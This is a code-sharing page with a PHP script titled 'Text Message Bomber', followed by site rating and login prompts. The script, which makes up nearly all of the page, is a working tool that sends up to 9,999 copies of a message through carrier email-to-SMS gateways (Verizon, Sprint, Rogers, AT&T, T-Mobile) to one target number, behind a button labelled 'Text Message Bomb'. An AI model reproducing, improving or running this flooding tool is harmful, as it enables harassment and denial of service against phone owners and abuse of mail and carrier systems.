| Text Message Bomber |
index.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
// I found the base for this script on another
// site, but it was EXTREMELY messy. So I spent
// some time cleaning it up, and, most importantly,
// adding in proper validation checks.
// Remember, if you want to insert form submissions
// into a database, you need to add a function to
// cleanse the user input, such as
// mysql_real_escape_string();
$number = isset($_POST['number']) ? $_POST['number'] : "";
$carrier = isset($_POST['carrier']) ? $_POST['carrier'] : "";
$subject = isset($_POST['subject']) ? $_POST['subject'] : "";
$message = isset($_POST['message']) ? $_POST['message'] : "";
$amount = isset($_POST['amount']) ? preg_replace('/\..*/', '', $_POST['amount']) : "";
echo "<center>\n";
if ($number != "") {
$errors = "";
if (strlen($number) != 10) {
$errors .= "The number you enter must be 10 digits.<br />\n";
}
if (!preg_match("/[0-9]*/", $number)) {
$errors .= "You must enter a valid number.<br />\n";
}
if ($carrier == "Verizon") {
$carrier = $number."@vtext.com";
} elseif ($carrier == "Sprint") {
$carrier = $number."@messaging.sprintpcs.com";
} elseif ($carrier == "Rogers") {
$carrier = $number."@pcs.rogers.com";
} elseif ($carrier == "ATT") {
$carrier = $number."@txt.att.net";
} elseif ($carrier == "T-Mobile") {
$carrier = $number."@tmomail.net";
} else {
$errors .= "You did not enter a valid carrier.<br />\n";
}
if ($message == "") {
$errors .= "You must enter a message to send.<br />\n";
}
if ($amount == "") {
$errors .= "You must enter a number of messages to send.<br />\n";
} else {
if ($amount < 2) {
$errors .= "You must enter a number greater than 1.<br />\n";
} elseif ($amount > 9999) {
$errors .= "You must enter a number less than 10000.<br />\n";
}
}
if ($errors == "") {
for($i=1; $i <= $amount; $i++){
mail($carrier, $subject, $message);
}
echo $amount." messages have been sent to ".$number." successfully.<br />\n<a href='nojavascript...history.go(-1);' title='Send More Messages'>Send More Messages</a><br />\n";
} else {
echo "<span style='color: red;'>n".$errors."</span>\n<a href='nojavascript...history.go(-1);' title='Try Again'>Please Try Again</a><br />\n";
}
} else {
echo "* Denotes a required field.<br /><br />\n";
echo "<table cellspacing='2' cellpadding='2'>\n";
echo "<form action='' method='post'>\n";
echo "<tr>\n";
echo "<td>Number: *</td>\n";
echo "<td><input type='text' name='number' size='10' maxlength='10' /></td>\n";
echo "</tr>\n<tr>\n";
echo "<td>Phone Service: *</td>\n";
echo "<td>\n";
echo "<select name='carrier'>\n";
echo "<option value='' selected='selected'>Select\n";
echo "<option value='Sprint'>Sprint\n";
echo "<option value='Verizon'>Verizon\n";
echo "<option value='Rogers'>Rogers AT&T\n";
echo "<option value='ATT'>AT&T\n";
echo "<option value='T-Mobile'>T-Mobile\n";
echo "</select>\n";
echo "</td>\n";
echo "</tr>\n<tr>\n";
echo "<td>Subject:</td>\n";
echo "<td><input name='subject' size='15' type='text' /></td>\n";
echo "</tr>\n<tr>\n";
echo "<td>Message: *</td>\n";
echo "<td><textarea name='message' rows='2' cols='17' maxlength='140'></textarea></td>\n";
echo "</tr>\n<tr>\n";
echo "<td>Number Of Messages: *</td>\n";
echo "<td><input type='text' name='amount' size='4' maxlength='4' /></td>\n";
echo "</tr>\n<tr>\n";
echo "<td></td>\n";
echo "<td><input type='submit' value='Text Message Bomb' /></td>\n";
echo "</tr>\n";
echo "</form>\n";
echo "</table>\n";
}
echo "</center>\n";
?>
Parsed in 0.157 seconds, using GeSHi 1.0.8.6
Please Login to Post a Comment.
Rating is available to Members only.
Please login or register to vote.
Please login or register to vote.
No Ratings have been Posted.



